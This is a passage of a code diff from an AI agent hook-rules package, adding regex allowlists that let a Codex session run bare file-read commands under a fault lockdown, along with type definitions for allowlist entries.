CODEX_READ_FLAG_JS + '|' + CODEX_READ_PATH_JS + ')';\nconst CODEX_PAGER_JS =\n '(' + [...READ_COMMANDS].join('|') + ')(\\\\s+' + CODEX_READ_ARG_JS + ')*'\n + '\\\\s+' + CODEX_READ_PATH_JS + '(\\\\s+' + CODEX_READ_ARG_JS + ')*';\nconst CODEX_SED_JS =\n 'sed\\\\s+-n\\\\s+(' + SED_RANGE_BODY + \"|'\" + SED_RANGE_BODY + \"')\"\n + '(\\\\s+' + CODEX_READ_ARG_JS + ')*\\\\s+' + CODEX_READ_PATH_JS + '(\\\\s+' + CODEX_READ_ARG_JS + ')*';\nexport const CODEX_READ_BODY_JS = '(' + CODEX_PAGER_JS + '|' + CODEX_SED_JS + ')';\n\n/** The measured Codex spelling of a file read, and this entry's canonical sample. */\nexport const CODEX_READ_CMD = \"sed -n '1,240p' package.json\";\n\n/**\n * The line every L0 deny's \"still allowed\" block prints for the harness with no `Read` tool.\n *\n * It exists because the block already said \"any Read\" and a Codex session HAS no Read — so the one\n * sentence telling a blocked agent how to inspect its way out named a tool it could not call. That is\n * the deadlock shape this module is a catalogue of, one level up in the message instead of the pattern.\n *\n * CONSTRAINT (see NO_CHAINING_RULE in ./shim): this string is interpolated into a `REASON=\"…\"` shell\n * assignment and then printf'd into a JSON string, so it may contain no double quote and no backslash.\n */\nexport const CODEX_READ_STILL_ALLOWED =\n `on CODEX (no Read tool): a bare read command - ${[...READ_COMMANDS].join('/')} <file>, `\n + `or ${CODEX_READ_CMD} - with nothing piped, redirected or chained onto it`;\n// ---------------------------------------------------------------------------\n// THE CODEX-ONLY UNION — a SECOND, separately-anchored list, consulted only after both halves of L0\n// have answered \"which harness sent this call?\" (AI_TYPE_SH in sh, detectAiType() in JS).\n//\n// A separate union rather than a flag inside L0_ALLOW_ERE, for two reasons that are both structural:\n// 1. UNREACHABILITY IS THE POINT. A Claude payload never evaluates this pattern at all — the sh half\n// guards it with `[ \"$AI\" = codex ]` and the JS half with an `aiType === 'codex'` test — so\n// \"Claude Code behaviour does not change\" is a property of the control flow, not of the regex.\n// 2. IT IS ANCHORED DIFFERENTLY. Every ungated entry tolerates a `cd <dir> &&` prefix and a\n// `2>&1 | tail -N` capture tail. A read-shaped command may tolerate NEITHER without becoming\n// wider than core/shell-read-parity.ts, which treats both as proof the command is not a read.\n// Folding this body into L0_ALLOW_ERE would silently splice both onto it.\n//\n// Built from the SAME constants the L0_ALLOWLIST entry carries — it cannot filter that array here,\n// because the array imports these bodies and the import would be a cycle. `codex-l0-read.spec.ts`\n// locks the two together instead: the gated entry's `ere`/`js` must BE this union's source.\n// ---------------------------------------------------------------------------\n/** The Codex-gated Bash allowlist as a POSIX ERE — anchored at BOTH ends, no prefix, no tail. */\nexport const L0_CODEX_ALLOW_ERE =\n '^(' + CODEX_READ_BODY_ERE + ')[[:space:]]*$';\n\n/** L0_CODEX_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — the `'\\''` dance. */\nexport const L0_CODEX_ALLOW_ERE_SH = L0_CODEX_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n/** JS twin of L0_CODEX_ALLOW_ERE. A unit test asserts the two agree over a corpus. */\nexport const L0_CODEX_ALLOW_JS =\n new RegExp('^(' + CODEX_READ_BODY_JS + ')\\\\s*$');\n"]}
1
+ {"version":3,"file":"l0-codex-read.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-codex-read.ts"],"names":[],"mappings":"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","sourcesContent":["import { READ_COMMANDS, SED_RANGE_BODY } from '../core/shell-read-parity';\n\n// ---------------------------------------------------------------------------\n// CODEX READ PARITY AT L0 — the deadlock PR #731 measured and deliberately left open.\n//\n// Allowlist entry 1 is \"any Read\", and under Claude Code that single entry is what makes every L0 fault\n// SURVIVABLE rather than fatal: the agent is denied all work, reads the config / the logs / the matrix\n// doc, and diagnoses its way out. CODEX HAS NO `Read` TOOL. Measured on codex-cli 0.151.0, a file read\n// arrives as `tool_name: \"Bash\"` running `sed -n '1,240p' package.json`. Nothing on the list above\n// matches that, so under D/X/U/K/S a Codex session is denied EVERYTHING — including the reads the deny\n// message is telling it to perform. That is a hard deadlock, and it is the exact failure class this\n// whole module exists to remove.\n//\n// So this entry is entry 1's twin for the other harness, and it is GATED ON its harness (see\n// L0AllowEntry.harness). A Claude payload can never reach it — Claude already has `Read`, and widening\n// L0's Bash surface for a harness that does not need it is a change to the one behaviour that must not\n// change. `codex-l0-read.spec.ts` proves the unreachability rather than asserting it in a comment.\n//\n// ─── AS WIDE AS core/shell-read-parity.ts AND NO WIDER ─────────────────────────────────────────────\n// That module is the repo's ONE definition of \"this Codex Bash call is a read\", and this pattern is\n// built from its exported vocabulary (READ_COMMANDS, SED_RANGE_BODY) rather than a second list. It\n// cannot literally call it — L0's sh half has no JS, and the JS half runs where nothing above it can be\n// trusted — so what is shared is the vocabulary and what is asserted is agreement over a corpus.\n//\n// Where it is deliberately NARROWER than that module: the shell-read predicate also resolves every\n// operand against the filesystem and rejects anything outside the tree. A regex cannot ask the\n// filesystem, so this pattern simply refuses everything the predicate refuses SYNTACTICALLY and accepts\n// a superset only in the \"does this path exist here\" dimension. That dimension is not a privilege\n// boundary at L0: entry 1 grants Claude an unrestricted Read of any path already.\n//\n// NO `cd` PREFIX AND NO CAPTURE TAIL, unlike every entry above, and that is the point rather than an\n// oversight. `shell-read-parity` treats `|`, `&&`, `;` and every redirect as PROOF the command is not a\n// read; splicing CAPTURE_TAIL_ERE on would make this entry accept `cat x | tail -20`, which that module\n// says is not a read — i.e. it would make this entry WIDER than the definition it is supposed to share.\n// The cost is that `sed -n '1,240p' x 2>/dev/null` is denied; the deny text names the bare spelling, and\n// bare is how Codex actually spells a read (measured).\n//\n// WHAT CANNOT RIDE ALONG: every character class below excludes `;` `&` `|` `` ` `` `<` `>` `$` and the\n// double quote, so no chaining, no redirect, no substitution and no expansion is expressible — the same\n// set `NOT_ONE_COMMAND` rejects, enforced by construction instead of by a scan. A path containing\n// spaces is reachable through the single-quoted branch, where sh performs no expansion at all.\n// Keep in sync with CODEX_READ_BODY_JS below (locked by a unit test).\n// `-50` (head/tail's line count) as well as `-n` / `--number`: `shell-read-parity` skips every token\n// starting with `-`, so a flag shape it accepts and this pattern rejects is a spelling the deny would\n// leave untypable — the deadlock this entry exists to remove, one level down.\nconst CODEX_READ_FLAG_ERE = '(-[0-9]+|-{1,2}[A-Za-z][A-Za-z0-9=._-]*)';\n// A path token: no leading `-` (that is a flag, and a bare `-` is stdin, not a file), or any path at all\n// inside single quotes — where the ONLY character that can end the region is the one the class excludes.\nconst CODEX_READ_PATH_ERE = \"([A-Za-z0-9._/@~+,:][A-Za-z0-9._/@~+,:-]*|'[^']+')\";\nconst CODEX_READ_ARG_ERE = '(' + CODEX_READ_FLAG_ERE + '|' + CODEX_READ_PATH_ERE + ')';\n// `<pager> [flags…] <path> [more args…]` — at least one path operand is REQUIRED, so `cat` on its own\n// (which reads stdin, not a file) is not a read here either.\nconst CODEX_PAGER_ERE =\n '(' + [...READ_COMMANDS].join('|') + ')([[:space:]]+' + CODEX_READ_ARG_ERE + ')*'\n + '[[:space:]]+' + CODEX_READ_PATH_ERE + '([[:space:]]+' + CODEX_READ_ARG_ERE + ')*';\n// `sed -n '<range>p' <path>` — BOTH halves required, exactly as sedOperands() requires them: without\n// `-n` sed echoes and edits, and any script that is not a bare range print is a transformation.\nconst CODEX_SED_ERE =\n 'sed[[:space:]]+-n[[:space:]]+(' + SED_RANGE_BODY + \"|'\" + SED_RANGE_BODY + \"')\"\n + '([[:space:]]+' + CODEX_READ_ARG_ERE + ')*[[:space:]]+' + CODEX_READ_PATH_ERE\n + '([[:space:]]+' + CODEX_READ_ARG_ERE + ')*';\nexport const CODEX_READ_BODY_ERE = '(' + CODEX_PAGER_ERE + '|' + CODEX_SED_ERE + ')';\n\n// JS-regex-source twin of CODEX_READ_BODY_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst CODEX_READ_FLAG_JS = '(-[0-9]+|-{1,2}[A-Za-z][A-Za-z0-9=._-]*)';\nconst CODEX_READ_PATH_JS = \"([A-Za-z0-9._\\\\/@~+,:][A-Za-z0-9._\\\\/@~+,:-]*|'[^']+')\";\nconst CODEX_READ_ARG_JS = '(' + CODEX_READ_FLAG_JS + '|' + CODEX_READ_PATH_JS + ')';\nconst CODEX_PAGER_JS =\n '(' + [...READ_COMMANDS].join('|') + ')(\\\\s+' + CODEX_READ_ARG_JS + ')*'\n + '\\\\s+' + CODEX_READ_PATH_JS + '(\\\\s+' + CODEX_READ_ARG_JS + ')*';\nconst CODEX_SED_JS =\n 'sed\\\\s+-n\\\\s+(' + SED_RANGE_BODY + \"|'\" + SED_RANGE_BODY + \"')\"\n + '(\\\\s+' + CODEX_READ_ARG_JS + ')*\\\\s+' + CODEX_READ_PATH_JS + '(\\\\s+' + CODEX_READ_ARG_JS + ')*';\nexport const CODEX_READ_BODY_JS = '(' + CODEX_PAGER_JS + '|' + CODEX_SED_JS + ')';\n\n/** The measured Codex spelling of a file read, and this entry's canonical sample. */\nexport const CODEX_READ_CMD = \"sed -n '1,240p' package.json\";\n\n/**\n * The line every L0 deny's \"still allowed\" block prints for the harness with no `Read` tool.\n *\n * It exists because the block already said \"any Read\" and a Codex session HAS no Read — so the one\n * sentence telling a blocked agent how to inspect its way out named a tool it could not call. That is\n * the deadlock shape this module is a catalogue of, one level up in the message instead of the pattern.\n *\n * CONSTRAINT (see NO_CHAINING_RULE in ./shim): this string is interpolated into a `REASON=\"…\"` shell\n * assignment and then printf'd into a JSON string, so it may contain no double quote and no backslash.\n */\nexport const CODEX_READ_STILL_ALLOWED =\n `on CODEX (no Read tool): a bare read command - ${[...READ_COMMANDS].join('/')} <file>, `\n + `or ${CODEX_READ_CMD} - with nothing piped, redirected or chained onto it`;\n// ---------------------------------------------------------------------------\n// THE CODEX-ONLY UNION — a SECOND, separately-anchored list, consulted only after both halves of L0\n// have answered \"which harness sent this call?\" (AI_TYPE_SH in sh, detectAiType() in JS).\n//\n// A separate union rather than a flag inside L0_ALLOW_ERE, for two reasons that are both structural:\n// 1. UNREACHABILITY IS THE POINT. A Claude payload never evaluates this pattern at all — the sh half\n// guards it with `[ \"$AI\" = codex ]` and the JS half with an `aiType === 'codex'` test — so\n// \"Claude Code behaviour does not change\" is a property of the control flow, not of the regex.\n// 2. IT IS ANCHORED DIFFERENTLY. Every ungated entry tolerates a `cd <dir> &&` prefix and a\n// `2>&1 | tail -N` capture tail. A read-shaped command may tolerate NEITHER without becoming\n// wider than core/shell-read-parity.ts, which treats both as proof the command is not a read.\n// Folding this body into L0_ALLOW_ERE would silently splice both onto it.\n//\n// Built from the SAME constants the L0_ALLOWLIST entry carries — it cannot filter that array here,\n// because the array imports these bodies and the import would be a cycle. `codex-l0-read.spec.ts`\n// locks the two together instead: the gated entry's `ere`/`js` must BE this union's source.\n// ---------------------------------------------------------------------------\n/** The Codex-gated Bash allowlist as a POSIX ERE — anchored at BOTH ends, no prefix, no tail. */\nexport const L0_CODEX_ALLOW_ERE =\n '^(' + CODEX_READ_BODY_ERE + ')[[:space:]]*$';\n\n/** L0_CODEX_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — the `'\\''` dance. */\nexport const L0_CODEX_ALLOW_ERE_SH = L0_CODEX_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n/** JS twin of L0_CODEX_ALLOW_ERE. A unit test asserts the two agree over a corpus. */\nexport const L0_CODEX_ALLOW_JS =\n new RegExp('^(' + CODEX_READ_BODY_JS + ')\\\\s*$');\n"]}
@@ -0,0 +1,103 @@
1
+ /**
2
+ * THE L0 ENTRY TYPES — the shape of one allowlist entry, split out of ./l0-allowlist.
3
+ *
4
+ * Same reason `./l0-codex-read` and `./l0-ignored-tools` are their own modules: the LIST is long and
5
+ * every entry carries a paragraph of reasoning, so the types that describe an entry get crowded out
6
+ * by the entries themselves. Nothing here knows what is on the list; `./l0-allowlist` owns that and
7
+ * imports these, so the dependency runs one way and there is no cycle.
8
+ *
9
+ * NOT re-exported from here onward — `./shim` is the ONE name that gathers L0, and it stars this
10
+ * module alongside the others.
11
+ */
12
+ import { AiType } from '../core/agent-event';
13
+ /**
14
+ * The token an L0 entry uses to say it serves EVERY harness — SAID OUT LOUD.
15
+ *
16
+ * This used to be `null`, and `null` is shim shape #5 from CLAUDE.md: a widening expressed as an
17
+ * ABSENCE. It made the widest setting the shortest thing to type and, worse, impossible to grep —
18
+ * there is no search that lists "the entries every harness gets", because they were identified by
19
+ * a field that was not there. `grep -n EVERY_HARNESS` now lists every one of them.
20
+ *
21
+ * It is a REAL VALUE in exactly the sense `AI_TYPE_UNKNOWN` is: countable, greppable, and typed.
22
+ */
23
+ export declare const EVERY_HARNESS = "every-harness";
24
+ /**
25
+ * Who one L0 entry is FOR: exactly one harness, or — named, never implied — all of them.
26
+ *
27
+ * Deliberately NOT `readonly AiType[]`. A list re-opens the hole this closed from the other side:
28
+ * `[]` would be a second way to write "nobody", and `['claude-code', 'codex']` a second way to write
29
+ * EVERY_HARNESS — two spellings of one decision, which is shim shape #1. Dean's rule is the whole
30
+ * type: we only support codex or claudecode or FAIL.
31
+ */
32
+ export type L0Harness = AiType | typeof EVERY_HARNESS;
33
+ /** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */
34
+ export declare class L0Call {
35
+ readonly toolName: string;
36
+ readonly command: string;
37
+ readonly filePath: string;
38
+ constructor(toolName: string, command: string, filePath: string);
39
+ }
40
+ /**
41
+ * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.
42
+ *
43
+ * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the
44
+ * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —
45
+ * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.
46
+ *
47
+ * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny
48
+ * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that
49
+ * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.
50
+ *
51
+ * `cure` is the ONE thing that is not uniform across the list, and it is not about L0 at all — see
52
+ * L0_CURE_ALLOW_JS below. Every entry is judged identically while an L0 fault is up; `cure` decides
53
+ * only whether the entry ALSO bypasses the downstream (L1) guards on a HEALTHY tree.
54
+ */
55
+ export declare class L0AllowEntry {
56
+ readonly label: string;
57
+ readonly kind: 'pass' | 'allow';
58
+ /**
59
+ * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run
60
+ * before webpieces.config.json can even be loaded, so it bypasses everything, always. A
61
+ * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary
62
+ * command the downstream guards still judge.
63
+ */
64
+ readonly cure: boolean;
65
+ readonly ere: string | null;
66
+ readonly js: string | null;
67
+ /**
68
+ * The ONE harness this entry exists for, or `EVERY_HARNESS` for the entries every harness gets.
69
+ * There is no default and no absence: an entry must say which it is, or it does not compile.
70
+ *
71
+ * A gated entry is unreachable from any other harness — it is spliced into its own union, which
72
+ * both halves of L0 consult only after answering "which harness sent this call?". It exists
73
+ * because the two harnesses do not have the same TOOLS: `Read` is entry 1 for Claude Code and
74
+ * Codex has no such tool, so read parity at L0 can only be expressed per harness. Anything added
75
+ * here later must satisfy the property stated on AI_TYPE_SH: the sh half's answer is an
76
+ * approximation, so a gated entry may never grant more than the OTHER harness already has.
77
+ */
78
+ readonly harness: L0Harness;
79
+ readonly sample: L0Call;
80
+ readonly extraSamples: readonly L0Call[];
81
+ constructor(label: string, kind: 'pass' | 'allow',
82
+ /**
83
+ * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run
84
+ * before webpieces.config.json can even be loaded, so it bypasses everything, always. A
85
+ * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary
86
+ * command the downstream guards still judge.
87
+ */
88
+ cure: boolean, ere: string | null, js: string | null,
89
+ /**
90
+ * The ONE harness this entry exists for, or `EVERY_HARNESS` for the entries every harness gets.
91
+ * There is no default and no absence: an entry must say which it is, or it does not compile.
92
+ *
93
+ * A gated entry is unreachable from any other harness — it is spliced into its own union, which
94
+ * both halves of L0 consult only after answering "which harness sent this call?". It exists
95
+ * because the two harnesses do not have the same TOOLS: `Read` is entry 1 for Claude Code and
96
+ * Codex has no such tool, so read parity at L0 can only be expressed per harness. Anything added
97
+ * here later must satisfy the property stated on AI_TYPE_SH: the sh half's answer is an
98
+ * approximation, so a gated entry may never grant more than the OTHER harness already has.
99
+ */
100
+ harness: L0Harness, sample: L0Call, extraSamples?: readonly L0Call[]);
101
+ /** Every call this entry pins: the canonical sample plus every extra spelling. */
102
+ allSamples(): readonly L0Call[];
103
+ }
@@ -0,0 +1,98 @@
1
+ "use strict";
2
+ /**
3
+ * THE L0 ENTRY TYPES — the shape of one allowlist entry, split out of ./l0-allowlist.
4
+ *
5
+ * Same reason `./l0-codex-read` and `./l0-ignored-tools` are their own modules: the LIST is long and
6
+ * every entry carries a paragraph of reasoning, so the types that describe an entry get crowded out
7
+ * by the entries themselves. Nothing here knows what is on the list; `./l0-allowlist` owns that and
8
+ * imports these, so the dependency runs one way and there is no cycle.
9
+ *
10
+ * NOT re-exported from here onward — `./shim` is the ONE name that gathers L0, and it stars this
11
+ * module alongside the others.
12
+ */
13
+ Object.defineProperty(exports, "__esModule", { value: true });
14
+ exports.L0AllowEntry = exports.L0Call = exports.EVERY_HARNESS = void 0;
15
+ /**
16
+ * The token an L0 entry uses to say it serves EVERY harness — SAID OUT LOUD.
17
+ *
18
+ * This used to be `null`, and `null` is shim shape #5 from CLAUDE.md: a widening expressed as an
19
+ * ABSENCE. It made the widest setting the shortest thing to type and, worse, impossible to grep —
20
+ * there is no search that lists "the entries every harness gets", because they were identified by
21
+ * a field that was not there. `grep -n EVERY_HARNESS` now lists every one of them.
22
+ *
23
+ * It is a REAL VALUE in exactly the sense `AI_TYPE_UNKNOWN` is: countable, greppable, and typed.
24
+ */
25
+ exports.EVERY_HARNESS = 'every-harness';
26
+ /** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */
27
+ class L0Call {
28
+ toolName;
29
+ command;
30
+ filePath;
31
+ constructor(toolName, command, filePath) {
32
+ this.toolName = toolName;
33
+ this.command = command;
34
+ this.filePath = filePath;
35
+ }
36
+ }
37
+ exports.L0Call = L0Call;
38
+ /**
39
+ * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.
40
+ *
41
+ * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the
42
+ * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —
43
+ * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.
44
+ *
45
+ * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny
46
+ * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that
47
+ * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.
48
+ *
49
+ * `cure` is the ONE thing that is not uniform across the list, and it is not about L0 at all — see
50
+ * L0_CURE_ALLOW_JS below. Every entry is judged identically while an L0 fault is up; `cure` decides
51
+ * only whether the entry ALSO bypasses the downstream (L1) guards on a HEALTHY tree.
52
+ */
53
+ class L0AllowEntry {
54
+ label;
55
+ kind;
56
+ cure;
57
+ ere;
58
+ js;
59
+ harness;
60
+ sample;
61
+ extraSamples;
62
+ // eslint-disable-next-line @typescript-eslint/max-params
63
+ constructor(label, kind,
64
+ /**
65
+ * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run
66
+ * before webpieces.config.json can even be loaded, so it bypasses everything, always. A
67
+ * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary
68
+ * command the downstream guards still judge.
69
+ */
70
+ cure, ere, js,
71
+ /**
72
+ * The ONE harness this entry exists for, or `EVERY_HARNESS` for the entries every harness gets.
73
+ * There is no default and no absence: an entry must say which it is, or it does not compile.
74
+ *
75
+ * A gated entry is unreachable from any other harness — it is spliced into its own union, which
76
+ * both halves of L0 consult only after answering "which harness sent this call?". It exists
77
+ * because the two harnesses do not have the same TOOLS: `Read` is entry 1 for Claude Code and
78
+ * Codex has no such tool, so read parity at L0 can only be expressed per harness. Anything added
79
+ * here later must satisfy the property stated on AI_TYPE_SH: the sh half's answer is an
80
+ * approximation, so a gated entry may never grant more than the OTHER harness already has.
81
+ */
82
+ harness, sample, extraSamples = []) {
83
+ this.label = label;
84
+ this.kind = kind;
85
+ this.cure = cure;
86
+ this.ere = ere;
87
+ this.js = js;
88
+ this.harness = harness;
89
+ this.sample = sample;
90
+ this.extraSamples = extraSamples;
91
+ }
92
+ /** Every call this entry pins: the canonical sample plus every extra spelling. */
93
+ allSamples() {
94
+ return [this.sample, ...this.extraSamples];
95
+ }
96
+ }
97
+ exports.L0AllowEntry = L0AllowEntry;
98
+ //# sourceMappingURL=l0-entry.js.map